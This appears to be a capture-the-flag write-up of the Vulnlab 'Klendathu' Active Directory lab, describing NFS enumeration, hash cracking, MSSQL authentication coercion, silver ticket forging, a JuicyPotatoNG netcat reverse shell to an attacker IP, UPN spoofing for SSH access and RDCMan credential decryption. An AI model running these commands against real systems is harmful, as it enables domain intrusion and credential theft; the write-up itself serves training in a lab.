Vulnlab — Klendathu

ARZ101
9 min readJul 9, 2024

--

Klendathu, an insane rated machine involved enumerating nfs share containing a configuration file with password hash of domain user, this user had guest access on MSSQL service, forcing authentication with sys.dm_os_file_exist , forging silver ticket then escalating privileges on SRV1, spoofing domain user on SRV2 with the MSSQL user and then decrypting RDCMan credentials with domain backup key.

DC1.KLENDATHU.VL

PORT     STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-03 20:54:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: KLENDATHU.VL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: KLENDATHU.VL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services

SRV1.KLENDATHU.VL

PORT     STATE SERVICE       VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=SRV1.KLENDATHU.VL

SRV2.KLENDATHU.VL

PORT     STATE SERVICE VERSION       
22/tcp open ssh OpenSSH 8.7 (protocol 2.0)
| ssh-hostkey:
| 256 d66045434fa19321bf1edcc36265e0e5 (ECDSA)
|_ 256 1169f003859ff4ea1529d4c2655d27eb (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
2049/tcp open

We have smb port open on SRV1 and DC1, NFS on the linux hosts so let’s start enumerating the shares first

Enumerating NFS share

We get access denied on both of them, looking at nfs, we have /mnt/nfs_share that can be mounted from our host

Mounting the folder with mount

sudo mount -t nfs 10.10.175.71:/mnt/nfs_shares /home/arz/Vulnlabs/Klendathu/shares

There’s a configuration file for a cisco switch, at the end there’s a contact email which could be a domain user, which is a valid user

We can also see a cisco secret password which is MD5 hashed

This can be cracked with either hashcat or john

hashcat -a 0 -m 500 ./hash.txt /usr/share/wordlists/rockyou.txt  --force

With these credentials we can list down the shares on both windows hosts and can read HomeDirs on DC which is interesting

But these directories were not accessible with the user we had

Moving forward we can enumerate AD with bloodhound

python3 /opt/BloodHound.py/bloodhound.py -d 'KLENDATHU.VL' -u 'zim' -p 'password' -ns 10.10.189.69 -dc DC1.KLENDATHU.VL

This user belongs to Netadmins group but there’s nothing beyond that bloodhound show us

Accessing MSSQL

We have MSSQL running on SRV1, so verifying these credentials can be used to login there

Here we can try to enable xp_cmdshell , but it was not getting executed, similarly with xp_dirtree as well

MSSQL Coerced Authentication

The reason behind this is probably that we are a guest user in the database, Looking for any alternate functions that can allow us to query for UNC paths, there’s a neat cheat sheet for coercion through mssql but most of them didn’t work as they required administrative privileges or were blocked, xp_fileexist was working tho but it wasn't able to perform coercion just showing if the file exists

Searching around for utilizing file exists, there’s another function sys.dm_os_file_exist which we can cause coercion, even tho the functionality is the same but I am uncertain what major difference is there between the two

SELECT * FROM sys.dm_os_file_exists('\\10.8.0.136\test\')

Forging Silver Ticket

The mssql service is running as RASCZAK user so what if we try to create a silver ticket and then access the service, we can convert the plain text into nthash with python and get the domain sid with rpcclient (or any other way we want)

For forging a silver ticket, ticketer.py will be used to do that

ticketer.py -nthash hash -spn MSSQLSvc/SRV1.KLENDATHU.VL -domain KLENDATHU.VL -domain-sid S-1-5-21-641890747-1618203462-755025521 administrator

After using the forged ticket (silver ticket), we can see that the user we currently are is dbo which is the database owner, so now we won't have any restrictions on running xp_cmdshell

Now transferring netcat to get a shell

Becoming Local Administrator on SRV1

We can perform local privilege escalating by abusing SeImpersonte privilege through JuicyPotato-NG

JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:/Users/rasczak/nc.exe 10.8.0.136 2222 -e cmd.exe"

From here onward there wasn’t anything we could do as dumping lsass didn’t returned any domain user’s hash other than the local admin and machine account

Spoofing Domain Users On GSSAPI Authentication

Going back to bloodhound, checking outbound control on RASCZAK , we have GenericWrite and ForeChangePassword on two domain users, rico and ibanez , with this ACL we can change the password using rpcclient or net rpc

These accounts also don’t have any ACLs on domain objects, the machine we have is linux (SRV2), using rico to logon to SRV2 didn’t worked

There’s a research done by Ceri Coburn from Pen Test Partners, where linux servers joined to Active Directory have misconfiguration in the authentication mechanism where name-type, enterprise is used (NT_ENTERPRISE), if we have GenericWrite on a domain user, we can edit the userPrincipalName attribute, this attribute is utilized by NT_ENTERPRISE through which we can spoof domain users (this is explained quite well in the blog post). To abuse this we need to first identify the user that we'll spoof, there's a group named LINUX_ADMINS with two members

Then adding userPrincpalName to be any of the two users, for adding this attribute we can use ldapmodify for that we need to create a ldif file

dn: cn=rico,cn=users,dc=klendathu,dc=vl
changetype: modify
modify: userPrincipalName
userPrincipalName: flores
ldapmodify -H ldap://DC1.KLENDATHU.VL -a -x -D "CN=RASCZAK,CN=USERS,DC=KLENDATHU,DC=VL" -W -f ./modify_user.ldif

This attribute can be verified with ldapsearch

Transfer Rubeus on SRV1 and get TGT for flores with /princapltype:enterprise

Make sure to have GSSAPI authentication in /etc/ssh/sshd_config and set the domain realm in /etc/krb5.conf

Convert the kirbi ticket to ccache and use it against ssh with -K

We can directly become root here as flores is a “linux admin”, so just running sudo bash will give us the root shell

root user’s directory has a backup of domain controller with ntds.dit , SAM and SECURITY file from the registry hive

But the passwords here have been reset so there’s no point and parse the ntds file, the /tmp directory has a ticket for svc_backup account

This can be used just by transferring on our kali machine and export the ticket

svc_backup doesn’t have any special ACL but the description does say about syncing data to user’s directories

Decrypting RDCMan password

So going back at the enumeration stage where we were trying to access smb shares, there were some user’s directories, with this user those directories are accessible

Here jnkeins.rdg , is a file containing configuration settings for connecting to remote desktop sessions, having administrator’s password hash

From chatgpt I generated a ps script to decrypt the password but it didn’t worked due to how the password is encrypted

Add-Type -AssemblyName System.Security
function Unprotect-RDCManPassword {
param (
[Parameter(Mandatory=$true)]
[string]$encryptedString
)
try {
$bytes = [Convert]::FromBase64String($encryptedString)
$decryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($bytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
$decryptedString = [System.Text.Encoding]::Unicode.GetString($decryptedBytes)
return $decryptedString
} catch {
Write-Error "Failed to decrypt password: $_"
}
}
$encryptedPassword = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABS0Gmx4U2k+bLUYfRpOl6wAAAAACAAAAAAADZgAAwAAAABAAAAAqvWFuXTLeCWvFNnkKjNDcAAAAAASAAACgAAAAEAAAAHHnv4NI9rTi06sCfSEy5hsoAAAAtCdIUjQfzQiJj363pO1RW/XSIlS/pMf/DBn3EHb8xEha6u1f/CMguhQAAACVsld41QgTZXMtLDfgrswQaShAxQ=="
$decryptedPassword = Unprotect-RDCManPassword -encryptedString $encryptedPassword
Write-Output "Decrypted Password: $decryptedPassword"

So again taking a step back in jenkins's home directory, there was AppData_Roaming_Backup.zip , after extracting the archive we’ll have the path to master keys ./AppData/Roaming/Microsoft/Protect

Using ntdissector , domain backup keys can be extracted, there will be a file named secrets.json containing pvk value encoded in base64

We'll need this private key along with the path where the master keys are located and the SID of jenkins user (which can retrieved either by rpcclient, lookupsid), I'll grab the SID from bloodhound

From DIANA Windows Credential Toolkit , there's a script diana-msrdcmandec.py for decrypting rdcman credentials, we have all the parameters for decrypting the password from rdg file

python3 ./script.py ./jenkins.rdg --masterkey /home/arz/Vulnlabs/Klendathu/AppData/Roaming/Microsoft/Protect/S-1-5-21-641890747-1618203462-755025521-1110 --sid S-1-5-21-641890747-1618203462-755025521-1110 -k ./key.pvk

Having administrator's password, we can just login through WinRM and get full access on the domain

References

--

--